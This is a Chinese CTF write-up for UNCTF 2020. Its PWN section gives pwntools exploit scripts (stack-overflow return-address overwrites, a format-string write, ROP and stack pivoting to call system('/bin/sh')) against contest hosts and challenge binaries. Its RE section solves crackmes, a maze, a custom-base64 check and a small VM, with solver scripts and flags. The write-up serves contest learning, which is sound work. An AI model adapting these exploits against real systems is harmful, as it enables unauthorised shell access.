• 2020 UNCTF WP


    PWN:

    YLBNB:

    先nc,提示用pwntool,写个脚本

    from pwn import *
    io = remote('45.158.33.12', 8000)
    io.interactive()
    

    运行返回flag:UNCTF{Gu@rd_Th3_Bes7_YLB}

    fan:

    分析附件,就是个简单的栈溢出,有个fantasy函数可以拿到shell

    那么在read函数接收输入的时候直接覆盖返回地址为system函数即可。

    在IDA中可以看到,buf距离EBP为0x30,但是这个是64位的程序,一个EBP占8bytes。

    且fantasy函数地址为0x00400735,那么payload:

    payload = 'a'(buf距离EBP) + 'a'*(EBP占占的字节) + p64(fantasy函数地址)
    

    脚本如下:

    from pwn import *
    r = remote('node2.hackingfor.fun',48548)
    system_addr=0x00400735
    payload = 'a'*0x30 + 'a'*8 + p64(system_addr)
    r.recvuntil('input your message
    ')
    r.sendline(payload)
    r.interactive()
    

    运行拿到shell,cat flag:UNCTF{6506126d-05e5-4e74-a84f-89dc109dc627}

    do_you_like_me?:

    和fan一样是栈溢出

    from pwn import *
    r = remote('node2.hackingfor.fun',46506)
    system_addr=0x004006CD
    payload = 'a'*0x10 + 'a'*8 + p64(system_addr)
    r.recvuntil('Give me your input : ')
    r.sendline(payload)
    r.interactive()
    

    运行拿到shell,cat flag:UNCTF{e668c0b1-6cb6-4bcd-b0b2-ebd96e5818c0}

    你真的会pwn嘛?:

    一个简单的格式化字符串溢出漏洞

    DP8Qud.png

    DP8uge.png

    但是我在用fmtstr_payload时,输出会被地址高位"x00"字节截断,可能是我太菜了。

    DP8Rv4.png

    改了一下脚本

    from pwn import *
    r = remote('node2.hackingfor.fun',40962)
    r.recvuntil('Give me your input : ')
    target_addr=0x0060107C
    payload= 'AAAAA' + '%10c%12$hhn' + p64(target_addr)
    #print payload
    r.sendline(payload)
    r.interactive()
    

    运行运行拿到shell,cat flag:UNCTF{f19e34ea-c353-403e-9b47-7340960946b7}

    原神

    有两种方法,第一种是ret2text,第二种是栈迁移。

    ret2text

    IDA反编译后有很明显的栈溢出漏洞。

    程序中没有“sh”,可以考虑构造bss段中3星的武器数量为26739,即“sh”的int值。只要抽到了这么多的3星武器,就能构造ROP,将该bss值当作参数传入rdi中拿到shell。

    虽然程序关闭了标准输出流stdout,但是可以将标准输出流重定向到 其它流上面,即cat flag > &2

    from pwn import *
    
    x64 = True
    fp = './GenshinSimulator'
    libc_file = ''
    ip = ''
    ports = 9999
    
    io=process(fp)
    elf=ELF(fp)
    
    context.os = 'linux'
    context.arch = 'amd64'
    
    sd = lambda x: io.send(x)
    sl = lambda x: io.sendline(x)
    ru = lambda x: io.recvuntil(x)
    rl = lambda: io.recvline()
    ra = lambda: io.recv()
    rn = lambda x: io.recv(x)
    sla = lambda x, y: io.sendlineafter(x, y)
    iat = lambda: io.interactive()
    
    num = 0
    ret = 0x400d14
    rdi_ret = 0x400d13
    bss_sh = 0x602314
    
    def bulidsh():
    	global num
    	while num<26729:
    		ra()
    		sl("2")
    		ru('抽卡结果如下:
    ')
        		data = ru('请选择').split('
    ')
    		for i in data:
    			if i[:10] == 'xe2x98x85xe2x98x85xe2x98x85 ':	#a = "★★★ " print(a.encode()) 
    				num+=1
    	while num!=26739:
    		ra()
    		sl("1")
    		ru('抽卡结果如下:
    ')
        		data = ru('请选择')
    		if data[:10] == 'xe2x98x85xe2x98x85xe2x98x85 ':	
    				num+=1
    	main()
    
    def main():	
    	ra()
    	sl('3')
    	ra()
    	sl('1')
    	ra()
    	offset = 0x38
    	payload = "a"*offset
    	payload+=p64(ret)
    	payload+=p64(rdi_ret)
    	payload+=p64(bss_sh)
    	payload+=p64(elf.plt['system'])
    	sl(payload)
    
    bulidsh()
    iat()
    

    栈迁移

    虽然关闭了标准输出流无法泄漏libc,但是程序中有read函数和system函数的地址,不用libc一样可以栈迁移。

    首先劫持控制流并迁移栈到bss段,这段没有什么好说的,标准代码操作。

    #!/usr/bin/env python
    #coding=utf-8
    #__author__:b1ank
    from pwn import *
    
    fp = './GenshinSimulator'
    libc_file = ''
    ip = ''
    ports = 9999
    
    context.log_level = 'debug'
    context.os = 'linux'
    context.arch = 'amd64'
    
    io=process(fp)
    elf=ELF(fp)
    system=elf.plt['system']
    
    sd = lambda x: io.send(x)
    sl = lambda x: io.sendline(x)
    ru = lambda x: io.recvuntil(x)
    rl = lambda: io.recvline()
    ra = lambda: io.recv()
    rn = lambda x: io.recv(x)
    sla = lambda x, y: io.sendlineafter(x, y)
    iat = lambda: io.interactive()
    
    ra()
    sl('3')
    ra()
    sl('1')
    rl()
    
    bss_addr = elf.bss()
    read_addr = 0x400C63
    pop_rdi = 0x400d13
    stack_size = 0x800
    base_stage = bss_addr + stack_size
    payload = 'a'*0x30 + p64(base_stage) + p64(read_addr)
    sd(payload)
    sleep(1)
    

    到第二步,布置新的栈中参数。目前有两个问题,一是不知道栈大小,二是不知道pop_rdi的目标地址偏移offset是多少。

    栈大小可以用cyclic和gdb一起测出来。先用cyclic生成长度为100的字符串,再gdb调试看报错字符。(注意要设置调试程序为父进程)

    if args.G:
    	gdb.attach(io)
    payload='aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
    sd(payload)
    iat()
    

    再用cyclic -l 0x6161616f 计算出栈长度为56。那么

    payload = 'a'*56 + p64(pop_rdi) + p64(base_stage+offset) + p64(system) + b'/bin/shx00'

    随便填一个offset,gdb调试。发现'/bin/sh'字段在0x602b00处。那么offset就是0x602b00-base_stage(0x602ae0) = 0x20。

    那么payload = 'a'*56 + p64(pop_rdi) + p64(base_stage+0x20) + p64(system) + b'/bin/shx00'

    当然如果你顶级理解的话实际上写成这种payload = 'a'*(56-8*i) + b'/bin/shx00' + 'a'*(8*(i-1))+ p64(pop_rdi) + p64(base_stage- 8*(i-1)) + p64(system)(i=1,2),也是可以的。

    最终的exp如下

    #!/usr/bin/env python
    #coding=utf-8
    #__author__:b1ank
    from pwn import *
    
    fp = './GenshinSimulator'
    libc_file = ''
    ip = ''
    ports = 9999
    
    context.log_level = 'debug'
    context.os = 'linux'
    context.arch = 'amd64'
    
    io=process(fp)
    elf=ELF(fp)
    system=elf.plt['system']
    
    sd = lambda x: io.send(x)
    sl = lambda x: io.sendline(x)
    ru = lambda x: io.recvuntil(x)
    rl = lambda: io.recvline()
    ra = lambda: io.recv()
    rn = lambda x: io.recv(x)
    sla = lambda x, y: io.sendlineafter(x, y)
    iat = lambda: io.interactive()
    
    ra()
    sl('3')
    ra()
    sl('1')
    rl()
    
    bss_addr = elf.bss()
    read_addr = 0x400C63
    pop_rdi = 0x400d13
    stack_size = 0x800
    base_stage = bss_addr + stack_size
    payload = 'a'*0x30 + p64(base_stage) + p64(read_addr)
    sd(payload)
    sleep(1)
    if args.G:
    	gdb.attach(io)
    #payload='aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
    #print(hex(base_stage+0x20))
    payload='a'*56 + p64(pop_rdi) + p64(base_stage+0x20) + p64(system) + b'/bin/shx00'
    sd(payload)
    iat()
    

    RE

    反编译:

    用 pyinstxtractor反编译出struct和babypy,修复头,用uncompyle6反编译pyc可得源代码,直接运行得flag

    str2 = 'UMAQBvogWLDTWgX"""k'
    flag = ''
    for i in range(len(str2)):
        flag += chr(ord(str2[i]) + i)
    print(flag)
    #UNCTF{un_UN_ctf123}
    

    re_checkin:

    拖入DIE,为64。拖入ida64中定位到start函数,跟进到sub_401550,发现是一个简单的对比。

    跟进Str2,发现无数据,怀疑动态写入。

    转到汇编发现sub_4015DC函数正是向Str2写入数据的函数,处理一下即可得到flag

    .text:00000000004015DC sub_4015DC      proc near               
    .text:00000000004015DC arg_0           = qword ptr  10h
    .text:00000000004015DC
    .text:00000000004015DC                 push    rbp
    .text:00000000004015DD                 mov     rbp, rsp
    .text:00000000004015E0                 mov     [rbp+arg_0], rcx
    .text:00000000004015E4                 mov     cs:Str2, 'u'
    .text:00000000004015EB                 mov     cs:byte_42F041, 'n'
    .text:00000000004015F2                 mov     cs:byte_42F042, 'c'
    .text:00000000004015F9                 mov     cs:byte_42F043, 't'
    .text:0000000000401600                 mov     cs:byte_42F044, 'f'
    .text:0000000000401607                 mov     cs:byte_42F045, '{'
    .text:000000000040160E                 mov     cs:byte_42F046, 'W'
    .text:0000000000401615                 mov     cs:byte_42F047, 'e'
    .text:000000000040161C                 mov     cs:byte_42F048, 'l'
    .text:0000000000401623                 mov     cs:byte_42F049, 'c'
    .text:000000000040162A                 mov     cs:byte_42F04A, 'o'
    .text:0000000000401631                 mov     cs:byte_42F04B, 'm'
    .text:0000000000401638                 mov     cs:byte_42F04C, 'e'
    .text:000000000040163F                 mov     cs:byte_42F04D, 'T'
    .text:0000000000401646                 mov     cs:byte_42F04E, 'o'
    .text:000000000040164D                 mov     cs:byte_42F04F, 'U'
    .text:0000000000401654                 mov     cs:byte_42F050, 'N'
    .text:000000000040165B                 mov     cs:byte_42F051, 'C'
    .text:0000000000401662                 mov     cs:byte_42F052, 'T'
    .text:0000000000401669                 mov     cs:byte_42F053, 'F'
    .text:0000000000401670                 mov     cs:byte_42F054, '}'
    .text:0000000000401677                 mov     cs:byte_42F055, 0
    .text:000000000040167E                 nop
    .text:000000000040167F                 pop     rbp
    .text:0000000000401680                 retn
    .text:0000000000401680 sub_4015DC      endp
    

    babypy:

    用 pyinstxtractor反编译出struct和babypy,修复头,用uncompyle6反编译pyc可得源代码

    import  libnum, binascii
    flag = 'unctf{*******************}'
    x = libnum.s2n(flag)
    
    def gen(x):
        y = abs(x)
        while 1:
            if y > 0:
                yield y % 2
                y = y >> 1
        else:
            if x == 0:
                yield 0
    
    
    l = [i for i in gen(x)]
    l.reverse()
    f = '%d' * len(l) % tuple(l)
    a = binascii.b2a_hex(f.encode())
    b = int(a, 16)
    c = hex(b)[2:]
    print(c)
    os.system('pause')
    

    感觉少了点东西,没有next()函数,直接运行死循环。

    分析过后可知是对flag先转16进制,然后取余,移位。接着列表倒序,列表转字符串,字符串转hex,去0x得到tip.txt。

    写脚本爆破,即可得到flag

    import libnum
    a = '111010101101110011000110111010001100110011110110101010001101000010000000111010001011111011010010111001101011111011100100110010101100001001100010011000101111001010111110110001100110000001100000011000101111101'
    b = 0
    for i in a:
        if i == '1':
            b = b*2 +1
        else:
            b =b*2
    f = libnum.n2s(b)
    print(f)
    #b'unctf{Th@t_is_rea11y_c001}'
    

    easyMaze:

    拖进ida64,定位到迷宫函数

    while ( 1 )
      {
        v1 = *(char *)(v6 + v5);
        if ( v1 == 'd' )                            // 左
        {
          ++v4;
        }
        else if ( v1 > 'd' )
        {
          if ( v1 == 's' )                          // 下
          {
            ++v3;
          }
          else
          {
            if ( v1 != 'w' )                        // 上
              return 0i64;
            --v3;
          }
        }
        else
        {                                           // 右
          if ( v1 != 'a' )
            return 0i64;
          --v4;
        }
        if ( v4 < 0 || v3 < 0 || *((_BYTE *)Dst + 10 * v3 + v4) == 'D' || *((_BYTE *)Dst + 10 * v3 + v4) == '0' )
          return 0i64;
        if ( v4 > 9 || v3 > 9 )
          return 0i64;
        if ( *((_BYTE *)Dst + 10 * v3 + v4) == 'S' )
          break;
        if ( sub_4019F4() )
        {
          puts("I See YOU!");
          exit(2);
        }
        ++v5;
      }
      return 1i64;
    }
    

    但是搜字符串没有迷宫,且主函数在获取用户输入时,调用了个sub_401AC0()函数,怀疑程序是打开时初始化迷宫。

    上x64dbg动调,断点设在lea rcx, Str,即打印"Help Me Out!!!!!!!!"的地址。

    可以观察到有个地址写入了这一串字符

    "Oo00oD00SD0oooo0Doooo0D0oD0o00ooooo00o00oD0D0oooooo00o0o0o0ooDoooooDDDo00o00oooooD0D0000oDoooooooooD"

    处理一下

    Oo00oD00SD
    0oooo0Dooo
    o0D0oD0o00
    ooooo00o00
    oD0D0ooooo
    o00o0o0o0o
    oDoooooDDD
    o00o00oooo
    oD0D0000oD
    oooooooooD
    

    很明显是从O开始,0为墙壁,o为路,S为中点。结合代码可得flag:unctf{dsdddssaaaassssssddddddddwwaawawwddwwwdw}

    ICU:

    拖进ida,搜索字符串,有一个很明显的base64变换表

    DCUcYq.png

    跟进引用函数

    __int64 __fastcall sub_40180E(__int64 a1, int a2)
    {
      int v3; // [rsp+24h] [rbp-1Ch]
      __int64 v4; // [rsp+28h] [rbp-18h]
      int v5; // [rsp+34h] [rbp-Ch]
      signed int j; // [rsp+38h] [rbp-8h]
      int i; // [rsp+3Ch] [rbp-4h]
      __int64 v8; // [rsp+50h] [rbp+10h]
      int v9; // [rsp+58h] [rbp+18h]
    
      v8 = a1;
      v9 = a2;
      v4 = sub_4A2840(5 * (a2 / 3));
      for ( i = 0; i < v9; i += 3 )
      {
        v3 = (*(unsigned __int8 *)(i + 1i64 + v8) << 8) | (*(unsigned __int8 *)(v8 + i) << 16) | *(unsigned __int8 *)(i + 2i64 + v8);
        for ( j = 0; j <= 3; ++j )
          *(_BYTE *)(4 * (i / 3) + j + v4) = aUyopef2ghvwx3a[(v3 >> (-6 * j + 18)) & 0x3F];
      }
      v5 = v9 / 3;
      if ( v9 % 3 == 1 )
      {
        *(_BYTE *)(v4 + 4 * v5 + 2i64) = aUyopef2ghvwx3a[64];
      }
      else if ( v9 % 3 != 2 )
      {
        goto LABEL_12;
      }
      *(_BYTE *)(v4 + 4 * v5++ + 3i64) = aUyopef2ghvwx3a[64];
    LABEL_12:
      *(_BYTE *)(v4 + 4 * v5) = 0;
      return v4;
    }
    

    很明显是base64的编码操作,把他重命名为base64_change

    但是看解出人数有点不对劲,应该没有这么简单。继续跟进Please Input:,进入主函数,修改一下反编译代码

    show(&unk_4A6920, "This file was complied by MingW
    ");
    show(&unk_4A6920, "enjoy
    ");
    show(&unk_4A6920, "Please Input:
    ");
    v0 = (void *)sub_4A2860(16i64);
    sub_41F030(v0);
    Memory = v0;
    v1 = (void *)sub_4A2860(32i64);
    sub_4908B0(v1);
    v10 = v1;
    v7 = 0;
    sub_4A0FA0(&unk_4A65C0, v1);
    LODWORD(v1) = sub_42A820(v1);
    v2 = sub_42A840(v10);
    Str = (char *)base64_change(v2, (unsigned int)v1);
    v12 = 0;
    v8 = strlen(Str);
    while ( v12 < v8 )
    {
      sub_41EEC0(Memory,&v7);
      Str[v12++] += v7;
    }
    if ( !memcmp(Str, "HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg9", 0x30ui64) )
      show(&unk_4A6920, "You Win,but you don't enjoy it,right?
    ");
    else
      show(&unk_4A6920, "You lose,Try again
    ");
    

    这大概意思就是,将用户输入进行一些操作然后,调用base64_change函数进行编码。之后循环和v7做加法。

    最后和HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg9比较。

    这里处理v7的sub_41EEC0函数对于我这种re萌新是在是太过复杂,想了好久都还没有思路。

    但是我偶然看到传入的v7是bool类型,想到可以爆破,上脚本。

    import base64
    a = 'HSWEH2vXHmRtGZRJvSmKviwtviv4Ga5rD25Mvl:u6ewBUKg'
    i = 0
    flag1 =''
    for b in a:
        if i%2 == 0:
            flag1 = flag1 + chr(ord(b) - 1)
        else: flag1 += b
        i = i+1
    flag1 = flag1 +'='    
    change1 = "UyOPef2ghvwx3ABdT7856QSijuCDFGst0LKER4ZabckHIJMNnopqrlmz1VWXY9+/"  # 非正常base64表
    normal1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"  # 正常base64表
    ture_key1= flag1.translate(str.maketrans(change1, normal1))
    try:
        print(base64.b64decode(ture_key1))
    except:
        print('Error')
        
    i = 0
    flag2 =''
    for b in a:
        if i%2 != 0:
            flag2 = flag2 + chr(ord(b) - 1)
        else: flag2 += b
        i = i+1
    flag2 = flag2 +'='    
    change2 = "UyOPef2ghvwx3ABdT7856QSijuCDFGst0LKER4ZabckHIJMNnopqrlmz1VWXY9+/"  # 非正常base64表
    normal2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"  # 正常base64表
    ture_key2= flag2.translate(str.maketrans(change2, normal2))
    try:
        print(base64.b64decode(ture_key2))
    except:
        print('Error')
    #b'unctf{we_remember_everything_YLBNB!'
    #Error
    

    但是不知道为啥少了个}。补上后得flag:unctf{we_remember_everything_YLBNB!}

    ezRust:

    拖进ida,搜索字符串,有个YLBNB,跟进其引用函数,反编译有点问题

    void sub_1400021E0()
    {
      char *v0; // [rsp+A0h] [rbp+20h]
      char v1; // [rsp+A8h] [rbp+28h]
      __int64 v2; // [rsp+268h] [rbp+1E8h]
    
      v2 = -2i64;
      v0 = &v1;
      sub_14000B610(&v1);
      JUMPOUT(unk_14000220B);
    }
    

    结合程序运行结果,

    Dp5Sud.png

    手动修复一下,得到基本可以看的代码

    v3 = scanf_from_argv((__int64)&v13);
      sub_140001A00();
      if ( v3 == 3 )
      {
        sub_14000B610(v16);
        sub_140001E70((__int64)&v15, (__int64 *)v16);
        sub_140007280(&v21);
        sub_140007280(&v23);
        v18 = v22;
        v17 = v21;
        v20 = v24;
        v19 = v23;
        v5 = sub_140006C50(&v15, 1i64, &off_1400243E8);
        v6 = sub_140007380(v5);
        sub_1400072D0((__int64)&v17, v6, v7);
        v8 = sub_140006C50(&v15, 2i64, &off_140024400);
        v9 = sub_140007380(v8);
        sub_1400072D0((__int64)&v19, v9, v10);
        v12 = strcmp(&v17, &off_140024420);
        if ( v12 & 1 )
          v25 = strcmp(&v19, &off_140024440) & 1;
        else
          v25 = 0;
        if ( v25 & 1 )
        {
          printf2argv(v26, (__int64)&off_140024470, 1i64, (__int64)"src\main.rs", 0i64); //off_140024470 = 'Success! Here is your flag:'
          sub_14000DB60(v26);
          sub_140001EF0(&v31);
          v30 = &v31;
          v33 = &v31;
          v28 = sub_140004A60(&v31, sub_140007330);
          v29 = v11;
          printf2argv(v27, (__int64)&off_140024488, 2i64, (__int64)&v28, 1i64);
          sub_14000DB60(v27);
          sub_140001A50(&v31);
        }
        else
        {
          printf2argv(v32, (__int64)&off_1400244B8, 1i64, (__int64)"src\main.rs", 0i64);
          sub_14000DB60(v32);
        }
        sub_140001740(&v17);
        JUMPOUT(unk_140002516);
      }
      printf2argv(v14, (__int64)&off_1400243C8, 1i64, (__int64)"src\main.rs", 0i64); //off_1400243C8 = 'ERROR Input!'
      sub_14000DB60(v14);
      return result;
    

    大概意思就是输入三行数据,取后两行,和off_140024420中的数据以及off_140024440中的数据做对比,都相同就输出flag。

    跟进off_140024420和off_140024440,发现就是YLBNB和RUSTPROGRAMING。

    试着运行,成功得到flag:

    Dp42NV.png

    unctf{Rust_more_safety_than_YLB's_Platform}

    base_on_rust

    拖入IDA64,查看字符串,疑似base编码

    D3aaW9.png

    跟进引用函数

    D3dU78.png

    发现这里并没有进行编码,只是初始化了base64,base32和base16的表

    跟进到输入处理函数,根据base编码特征修改反编译代码,可得

    D30Pz9.png

    提取出在off_140028AE8地址的字串RzQyVE1SSldHTTNUSU5SV0c1QkRNTVJXR0UzVEdOUlZHTTNER05CVklZM0RFTlJSRzRaVE1OSlRHTVpURU5LR0dZWkRNTUpYR00zREtNWlJHTTNES1JSV0dVM0VLTlJUR1pERE1OQldHVTJVTU5LR0dWRERPUkE9

    解码可得:unctf{base64_base32_base16_encode___}

    Trap

    拖入IDA64,跟进main函数

    puts("Welcome To UNCTF2020_RE_WORLD !!!");
    printf("Plz Input Key: ", a2);
    __isoc99_scanf("%s", s1);
    strcpy(dest, s1);
    sub_400CBE();
    if ( !strcmp(s1, s2) )
    {
      puts("Success.");
      for ( i = 0; i <= 8479; ++i ){
        v3 = byte_6020E0[i];
        byte_6020E0[i] = s1[i % strlen(s1)] ^ v3;
      }
      s = fopen("/tmp/libunctf.so", "wb");
      fwrite(byte_6020E0, 1uLL, 0x2120uLL, s);
      getchar();
      handle = dlopen("/tmp/libunctf.so", 1)
      if ( !handle ){
        v5 = stderr;
        v6 = dlerror();
        fputs(v6, v5);
        exit(1);
      }
      v7 = (void (__fastcall *)(__int16 *, char *))dlsym(handle, "jo_enc");
      dlerror();
      v15 = 0;
      v16 = 0;
      v17 = 0;
      memset(&v18, 0, 0x28uLL);
      printf("plz Input Answer: ", "jo_enc", &v18);
      __isoc99_scanf("%s", &v15);
      v7(&v15, dest);
    }
    else{
      puts("Loser!!!");
    }
    

    大概意思是将处理后的输入和已有字串做对比,运行的时候输入正确的s1会异或解密整个动态链接库文件,然后写入文件并调用jo_enc函数对接下来的输入以v15(第二次输入的字串),dest(第一次输入的字串)的顺序进行调用检查

    首先将输入与0x22异或, 然后创建了一个线程

    v2 = strlen(s1);
    for ( i = 0; i < v2; ++i )
      s1[i] ^= 0x22u;
    pthread_create(&th, 0LL, (void *(*)(void *))start_routine, 0LL);
    return pthread_join(th, 0LL);
    

    接着调用sub_400BC0函数将s2与0x33异或并写入文件

    v3 = strlen(s2);
    sub_400B76(v0);//反调试
    for ( i = 0; ; ++i )
    {
      result = i;
      if ((signed int)i >= v3 )
        break;
      s2[i] ^= 0x33u;
    }
    return result;
    

    和调用sub_400C13函数对s1和s1长度做运算

    for ( i = 0; ; ++i ){
      result = (unsigned int)i;
      if ( i >= v3 )
        break;
      sub_400C13(&s1[i], v3);
    }
    

    这里的sub_400C13有简单的花指令,

    DGQqAA.png

    手动修复后其实就是个循环

    __int64 __fastcall sub_400C13(_BYTE *a1, int a2)
    {
      if ( !a2 )
        return 1LL;
      ++*a1;
      return sub_400C13(a1, (unsigned int)(a2 - 1));
    }
    

    那么脚本就很好写了

    s2=[26,23,18,23,17,44,124,27,46,45,125,124,125,46]
    for i in s2:
        print(chr(((i^0x33)-len(s2))^0x22),end='')
    #941463c8-2bcb-
    

    将生成的libunctf.so拖入ida64分析jo_enc函数

    __int64 __fastcall jo_enc(char *a1, char *a2)
    {
      char *v2; // ST20_8
      size_t v3; // ST10_8
      int n; // [rsp+60h] [rbp-500h]
      int m; // [rsp+64h] [rbp-4FCh]
      int l; // [rsp+68h] [rbp-4F8h]
      int k; // [rsp+6Ch] [rbp-4F4h]
      int v9; // [rsp+70h] [rbp-4F0h]
      int j; // [rsp+74h] [rbp-4ECh]
      int v11; // [rsp+78h] [rbp-4E8h]
      signed int i; // [rsp+7Ch] [rbp-4E4h]
      int v13[48]; // [rsp+80h] [rbp-4E0h]
      int odd_number[128]; // [rsp+140h] [rbp-420h]
      int even_number[129]; // [rsp+340h] [rbp-220h]
      int v16; // [rsp+544h] [rbp-1Ch]
      char *input1; // [rsp+548h] [rbp-18h]
      char *input2; // [rsp+550h] [rbp-10h]
    
      input2 = a1;
      input1 = a2;
      v16 = 0;
      memset(even_number, 0, 0x200uLL);
      memset(odd_number, 0, 0x200uLL);
      memset(v13, 0, 0xC0uLL);
      for ( i = 0; i < 128; ++i )
      {
        even_number[i] = 2 * i;
        odd_number[i] = 2 * i + 1;
      }
      v11 = strlen(input2);
      for ( j = 0; j < v11; ++j )
      {
        v9 = input2[j];
        if ( !(v9 % 2) )
        {
          for ( k = 0; k < v9; k += 2 )
            v13[j] += even_number[k];
        }
        if ( v9 % 2 )
        {
          for ( l = 0; l < v9; l += 2 )
            v13[j] += odd_number[l];
        }
      }
      for ( m = 0; m < v11; ++m )
      {
        v2 = input1;
        v3 = strlen(input1);
        v13[m] = (16 * v2[m % v3] & 0xE827490C | ~(16 * v2[m % v3]) & 0x17D8B6F3) ^ (v13[m] & 0xE827490C | ~v13[m] & 0x17D8B6F3);
      }
      for ( n = 0; n < v11; ++n )
      {
        if ( v13[n] != *((_DWORD *)off_200FD8 + n) )
        {
          v16 = 0;
          exit(1);
        }
        ++v16;
      }
      if ( v16 == 22 )
        puts("Win , Flag is unctf{input1+input2}");
      return 0LL;
    }
    

    根据第一个输入可得,v9(即第二个输入的ascii码)范围在45~127,可以写爆破脚本

    cipher_lst = [1668, 1646, 1856, 4118, 1899, 1752, 640, 2000, 4412, 1835, 820, 984, 968, 1189, 4353, 1646, 4348, 4561, 1564,1566, 5596, 1525]
    input1 = '941463c8-2bcb-'
    input2 = ''
    even_number = [i * 2 for i in range(128)]
    odd_number = [i * 2 + 1 for i in range(128)]
    cipher_ = [((16 * ord(input1[m % 14])) & 0xE827490C | (~(16 * ord(input1[m % 14])) & 0x17D8B6F3)) ^ (cipher_lst[m] & 0xE827490C | ~cipher_lst[m] & 0x17D8B6F3) for m in range(22)]
    for a in cipher_:
        for n in range(45,127):
            j = 0
            if not n % 2:
                for i in range(0, n, 2):
                    j += even_number[i]
            else:
                for i in range(0, n, 2):
                    j += odd_number[i]
            if j == a:
                input2 += chr(n)
    print('unctf{' + input1 + input2 + '}')
    

    之后经过师傅的点拨,

    原来 (str1 & random_hex1 | ~str1 & random_hex2) ^ (str2 & random_hex1 | ~str2 & random_hex2) 和 str1^str2是等价的

    ezvm

    根据初始信息修改主函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
    __int64 v3; // rax
    vm v5; // [rsp+20h] [rbp-28h] BYREF
    sub_4025B0();
    show();
    init_stack(&v5);
    branch(&v5);
    v3 = 0i64;
    while ( byte_404040[v3] == *(_BYTE *)(v5.input + v3) ){
      if ( ++v3 == 21 ){
        puts("wuhu flag is what you input");
        return 0;
      }
    }
    puts("wrong! maybe you are not a hacker !");
    return 0;
    }
    

    init_stack中初始化三个寄存器,操作码和输入

    *(_DWORD *)a1 = 0;
    *(_DWORD *)(a1 + 4) = 0;
    *(_DWORD *)(a1 + 8) = 0;
    *(_QWORD *)(a1 + 16) = &unk_404080;
    v2 = malloc(0x512ui64);
    *(_QWORD *)(a1 + 24) = v2;
    

    那么建个结构体
    DBM6wq.png

    数据类型根据储存位置改变,首先满足结构体各变量位置距离与初始化中的地址偏移相同。

    跟进branch,根据快指数算法的优化代码和加法逻辑代码可得

    while ( 2 )
    {
      result = *v2;
      if ( (_BYTE)result != 0xF9 )
      {
    LABEL_3:
        switch ( (char)result )
        {
          case 0xF0:                            // 对比
            v14 = v2[1];
            if ( a1->r2 == v14 )
              a1->r0 = 0;
            else
              a1->r0 = (a1->r2 >= v14) + 1;
            goto LABEL_12;
          case 0xF1:
            sub_4015A0(a1);                        
                      /* 2: a1->opcode = a1->opcode + 3 
                            5: a1->opcode = a1->opcode + 3
                               a1->r0 = a1->input[a1->r2]
                            6: a1->opcode = a1->opcode + 3
                               a1->r1 = a1->opcode[2]
                            7: a1->opcode = a1->opcode + 3
                               a1->r2 = a1->opcode[2]     */
            v2 = (unsigned __int8 *)a1->opcode;
            continue;
          case 0xF3:                              // add a1->r2 , v2[1]
            v8 = v2[1];
            v9 = a1->r2;
            if ( v2[1] )
            {
              do
              {
                v10 = v8;
                v11 = v9 & v8;
                v12 = v9 ^ v10;
                v13 = 2 * v11 == 0;
                v8 = 2 * v11;
                v9 = v12;
              }
              while ( !v13 );
              a1->r2 = v12;
            }
            else
            {
              a1->r2 = v9;
            }
            goto LABEL_12;
          case 0xF4:                             // 字符是否处理完成,是则调到F9结束循环,否则回到result = *v2继续循环
            if ( a1->r0 == 1 )
            {
              v2 -= v2[1];
              a1->opcode = (__int64)v2;
            }
            else
            {
    LABEL_12:
              v2 += 2;
              a1->opcode = (__int64)v2;
            }
            continue;
          case 0xF7:                              // 读取21位字符存放在a1->input
            sub_401570(a1);
            v2 = (unsigned __int8 *)a1->opcode;
            continue;
          case 0xF8:                              // 快指数算法: pow(v4,7) mod 187 
            v4 = a1->r0;
            v5 = 3;
            v6 = 1i64;
            v7 = 7i64;
            do
            {
              if ( (v7 & 1) != 0 )
                v6 = v4 * v6 % 187;
              v7 >>= 1;
              --v5;
              v4 = v4 * v4 % 187;
            }
            while ( v5 );
            ++v2;
            a1->r0 = v6;
            a1->opcode = (__int64)v2;
            result = *v2;
            if ( (_BYTE)result != 0xF9 )          // 结束
              goto LABEL_3;
            return result;
          default:
            puts("fxxx me ?");
            v2 = (unsigned __int8 *)a1->opcode;
            continue;
        }
      }
      return result;
      }
    

    若是做过密码学的一眼就可以看出0xF8是个给定 c ,e,N的rsa加密。

    为了方便理解,对rsa做个简略的介绍。

    1. p 和 q:两个大的质数,是另一个参数N的的两个因子
    2. N:大整数,可以称之为模数
    3. c 和 m:密文和明文
    4. e 和 d:互反数满足 e*d mod 160 = 1
    5. pow(x, y, z):效果等效 pow(x, y) % z。
    6. 对明文m进行加密:c = pow(m, e, N),可以得到密文c
      对密文c进行解密:m = pow(c, d, N),可以得到明文m

    百度一下就可知7的互反数为23,即7*23 mod 160 = 161 mod 160 = 1

    纯动态:

    动调一下看加密情况

    输入21个字符1

    加密完成后发现是每隔两位加密

    debug024:00000000001E1550 db  19h
    debug024:00000000001E1551 db  31h ; 1
    debug024:00000000001E1552 db  19h
    debug024:00000000001E1553 db  31h ; 1
    debug024:00000000001E1554 db  19h
    debug024:00000000001E1555 db  31h ; 1
    debug024:00000000001E1556 db  19h
    debug024:00000000001E1557 db  31h ; 1
    debug024:00000000001E1558 db  19h
    debug024:00000000001E1559 db  31h ; 1
    debug024:00000000001E155A db  19h
    debug024:00000000001E155B db  31h ; 1
    debug024:00000000001E155C db  19h
    debug024:00000000001E155D db  31h ; 1
    debug024:00000000001E155E db  19h
    debug024:00000000001E155F db  31h ; 1
    debug024:00000000001E1560 db  19h
    debug024:00000000001E1561 db  31h ; 1
    debug024:00000000001E1562 db  19h
    debug024:00000000001E1563 db  31h ; 1
    

    猜一下只进行了rsa,写个脚本

    a=[150,48,144,106,159,54,39,116,179,49,157,95,142,95,17,97,157,121,39,118,131]
    b=''
    for i in range(21):
        if i%2 == 0:
            b += chr(pow(a[i],23,187))
        else:
            b += chr(a[i])
    print(b)
    #90dj06_th1s_A_3asy_vm
